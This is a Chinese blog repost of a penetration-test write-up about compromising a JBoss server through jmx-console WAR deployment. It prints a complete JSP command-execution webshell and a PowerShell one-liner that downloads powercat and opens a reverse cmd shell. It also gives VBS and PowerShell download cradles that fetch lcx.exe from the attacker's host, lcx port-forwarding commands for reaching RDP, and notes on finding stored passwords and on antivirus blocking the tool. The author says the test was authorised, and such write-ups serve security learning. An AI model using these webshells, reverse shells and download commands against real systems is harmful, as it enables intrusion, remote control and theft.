一次不完美的Jboss渗透

2019-06-04 约 1429 字 预计阅读 3 分钟

声明:本文 【一次不完美的Jboss渗透】 由作者 whoamiaa 于 2019-06-04 09:32:00 首发 先知社区 曾经 浏览数 77 次

感谢 whoamiaa 的辛苦付出!

一.前言

最近做渗透测试中遇到一个jboss的站,在其中学到一些在乙方工作挺有用的技巧(这次测试是进过授权测试)在次分享一下

二.信息收集

先通过namp进行扫描,同时进行目录扫描,发现8080/jmx-console/,发现是jboss的站,百度到jboss可以部署war包getshell,访问http://xxxx:8080//jmx-console/

三.漏洞利用

全局搜索jboss.system,点击进入


1.制作war包

把木马文件gg.jsp(我是一个直接执行命令代码)用压缩软件压缩为zip,然后更改后缀为war,然后将该war上传到互联网上能够访问的网
站上

//gg.jsp
<%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %>

<html>

<head>

<title></title>

<meta http-equiv="Content-Type" content="text/html; charset=big5">

</head>

<body>

<%

  Runtime runtime = Runtime.getRuntime();

  Process process =null;

  String line=null;

  InputStream is =null;

  InputStreamReader isr=null;

  BufferedReader br =null;

  String ip=request.getParameter("cmd");


  try

  {

    process =runtime.exec(ip);

    is = process.getInputStream();

    isr=new InputStreamReader(is);

    br =new BufferedReader(isr);

    out.println("<pre>");

    while( (line = br.readLine()) != null )

    {

      out.println(line);

      out.flush();

    }

    out.println("</pre>");

    is.close();

    isr.close();

    br.close();

  }

  catch(IOException e )

  {

    out.println(e);

    runtime.exit(1);

  }

%>

</body>

</html>

我这里就用python 简单创建个ftp服务(这也是python的一个巧用)

python -m  SimpleHTTPServer 8589


2.进入jboss.system页面找到如下,填入远程的war文件地址

成功部署的界面如下


3.访问shell地址,并执行命令

四.进一步渗透

1.在获得php shell的基础上,我们需要一个真正的cmd shell,这样有利于操作,进过nmap扫描,发现是windows,我们可以通过powershell进行shell反弹

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p port -e cmd


本地监听,成功获取一个cmd shell,接下来就是提权了

2.在cmd 中查看端口开放信息,3389和445都开放了
想到了永恒之蓝打一波,先看看打没打永恒之蓝的补丁,和看看系统信息,发现打了很多补丁

可以通过如下链接查看补丁编号
网址:https://micro8.gitbook.io/micro8/contents-1/1-10/1windows-ti-quan-kuai-su-cha-zhao-exp
查找永恒之蓝补丁编号进行比对发现该目标机器并没打补丁

3.看端口扫描结果,3389过滤了,445也过滤了,只有端口转发再打了

4.先在shell中查看有那些任务,看看有没杀毒软件,初看没有,但后来才发现了,居然有卡巴斯基

5.没事就到处浏览目录查看内容(发现google账号密码居然记录在txt文件中),发现任何目录都能浏览和看信息,就怀疑这个用户的权限,赶紧看了哈…居然是administrator 组的,那提权就不用了涩,但还是想3389连进去

6.打算用vbs下载一个lcx或者EarthWorm进行端口转发,vbs下载代码,一般下载在C:\Windows\Temp\目录下,可读可写

vbs下载代码

echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://ip/lcxx/lcx.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\Windows\Temp\2.txt",2 >>download.vbs

powershell 下载代码

powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:7667/lcxx/lcx.exe','C:\Windows\Temp\2.txt')

7.当自己写进去了后,更名为exe执行的时候,被杀了,最后又看了下任务,才发现卡巴斯基,然后就一直被卡在这里

8.lcx命令如下

lcx 命令

//被攻击机器
lcx -slave 自己外网ip  51 内网ip 3389
//攻击机器
lcx.exe  -listen 51 9090

由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口.

lcx -tran 53 目标主机ip 3389

总结

虽然暂时没有成功,但从中还是学到许多渗透知识,也明白了实战能提高许多技术。不足就是知识不够,还需努力。

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now